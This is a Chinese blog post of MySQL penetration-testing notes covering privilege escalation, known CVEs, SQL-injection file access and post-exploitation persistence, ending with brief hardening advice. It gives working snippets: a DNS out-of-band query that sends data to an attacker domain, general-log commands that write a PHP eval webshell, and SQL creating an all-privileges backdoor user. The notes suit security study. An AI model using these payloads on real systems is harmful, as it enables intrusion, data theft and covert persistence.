MySQL数据库安全那些事儿,渗透测试和漏洞利用的零散总结分享
- 问答
- 2026-01-12 05:21:58
- 1
MySQL数据库安全那些事儿,渗透测试和漏洞利用的零散总结分享 开始)
这篇文章主要是把平时零散记录的关于MySQL数据库在安全测试方面的一些知识点整理一下,内容比较杂,想到哪写到哪,算是一个笔记合集,很多都是基于实战经验的总结,可能不那么系统,但希望能给感兴趣的人一些参考。
关于获取数据库的最高权限
一提到MySQL渗透,很多人第一反应就是拿“root”权限,但在MySQL里,最高权限用户不一定是叫“root”,这个是安装时可以自定义的,不过默认情况下确实是root@localhost,重点在于理解MySQL的权限体系,它的权限是“用户名@主机名”联合确定的,所以root@%、root@localhost、root@192.168.1.100这是三个完全不同的用户,权限可以不一样,有时候你搞到一个弱口令是root@%,但可能服务器上真正管理数据库的是root@localhost,你即使进去了权限也可能受限。
拿到Webshell之后,想提权到数据库的DBA(数据库管理员)权限,常见思路有几个:

- 找数据库配置文件:这是最直接有效的,去Web目录下翻
config.php,web.config,connection.php之类的文件,里面经常明文写着数据库的连接账号和密码,很多开发图省事,直接用高权限账号连接数据库,这下就全送给你了。 - 查看数据库历史命令:如果条件允许,可以看看MySQL的命令历史文件,通常在用户家目录下叫
.mysql_history,这里面可能记录过密码等敏感信息。 - 利用UDF提权:这是老技术了,但某些环境下依然有效,核心思路就是自己编译一个动态链接库(.dll或.so),里面包含执行系统命令的函数,然后通过MySQL的自定义函数(UDF)功能把这个库加载进去,从而在数据库层面执行操作系统命令,这个过程需要你有写文件的权限,比如
secure_file_priv这个系统变量没做限制,参考过很多老外的文章,比如SQLi和UDF结合的文章。 - 利用MOF提权:这个更古老,主要针对Windows系统下的MySQL,原理是利用Windows管理规范(WMI)的一个特性,每隔一段时间会执行一个固定的MOF文件,如果你有写权限,可以替换这个MOF文件来执行命令,但现在高版本系统和MySQL里基本都失效了。
数据库本身的漏洞利用
除了从外部攻破,数据库软件本身也有漏洞,比如著名的CVE-2012-2122认证绕过漏洞,简单说就是当你输入错误的密码时,由于MySQL在比较密码时的一个内存处理bug,有大约1/256的概率会直接认证成功,让你蒙进去,当时用Metasploit这类工具可以很容易利用,还有像CVE-2012-5612,是MySQL和MariaDB的一个提权漏洞,允许低权限用户删除系统上的任意文件,可以用来破坏系统或者删除pid文件进而实现权限提升。
SQL注入的深入利用

SQL注入是搞MySQL最常遇到的,除了常规的联合查询、报错注入、布尔盲注、时间盲注之外,有几个点可以注意下:
- 读写文件:
LOAD_FILE()函数可以读取系统文件,前提还是那个secure_file_priv要有权限。INTO OUTFILE或INTO DUMPFILE可以写文件到服务器,这就能用来写Webshell,如果secure_file_priv设置为NULL,那就禁止导入导出;如果设置为某个目录,就只能在该目录下操作;如果为空,则可以操作任意目录,这个在渗透测试信息收集中很重要。 - DNS外带数据:当注入点是盲注,且无法直接回显数据时,可以利用DNS查询把数据带出来,比如构造一个子域名查询,其中子域名部分是要窃取的数据(比如
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.你的域名.com\\abc'))),原理是MySQL在尝试连接这个不存在的SMB共享路径时,会发起DNS查询,你在自己的DNS日志上就能看到被带出来的数据,这个方法在某些网络环境下很有效。 - 利用日志写Webshell:如果
secure_file_priv限制很死,但你有执行SQL命令的权限,可以尝试修改MySQL的全局日志路径,比如先set global general_log = 'ON'开启通用查询日志,然后set global general_log_file = 'C:/www/html/shell.php'把日志文件路径指向Web目录,接着执行一句select '<?php @eval($_POST[cmd]);?>',这个PHP代码就会被记录到日志文件(也就是你指定的shell.php)里,从而得到一个Webshell。
权限维持和后渗透
一旦拿到了高权限的数据库账号,怎么留后门?
- 创建后门用户:直接
CREATE USER 'backdoor'@'%' IDENTIFIED BY 'password';然后GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%';,简单粗暴,但容易被发现。 - 触发器后门:创建一个触发器,当满足某种条件时(比如查询某个特定表),自动执行一些恶意操作,比如把当前数据库的用户密码哈希值发送到外部服务器,这个更隐蔽。
- 在启动项里留后门:如果有写文件权限,可以在服务器的启动文件夹或者计划任务里写入恶意脚本,对于Windows,可以写VBS或者BAT脚本;对于Linux,可以写进crontab或者rc.local里。
一些零碎的点
- 密码哈希问题:MySQL 4.1之前的密码哈希是16位的,之后是41位(前面加了个),破解工具像John the Ripper、Hashcat都支持,但即使拿到哈希,如果密码很强也很难破,有时候可以用
auth_socket插件认证绕过,这个插件不验证密码,只验证连接过来的系统用户是否和数据库用户同名。 - 防范措施:从防御角度看,给数据库应用最小权限原则(Principle of Least Privilege),Web应用连接数据库的账号只给必要的增删改查权限,千万别用root,修改默认端口(虽然这是安慰剂安全),设置复杂的密码,严格限制
secure_file_priv,定期打补丁,网络层面做好访问控制只允许特定IP连接数据库端口。
MySQL数据库安全涉及的面很广,从SQL注入到权限提升,从漏洞利用到后渗透,上面这些只是冰山一角,而且技术也在不断变化,需要持续学习,这些内容参考了很多安全社区像FreeBuf、安全客上的文章,以及一些国外安全研究者的博客和GitHub上的项目。 结束)
本文由钊智敏于2026-01-12发表在笙亿网络策划,如有疑问,请联系我们。
本文链接:https://www.haoid.cn/wenda/79124.html
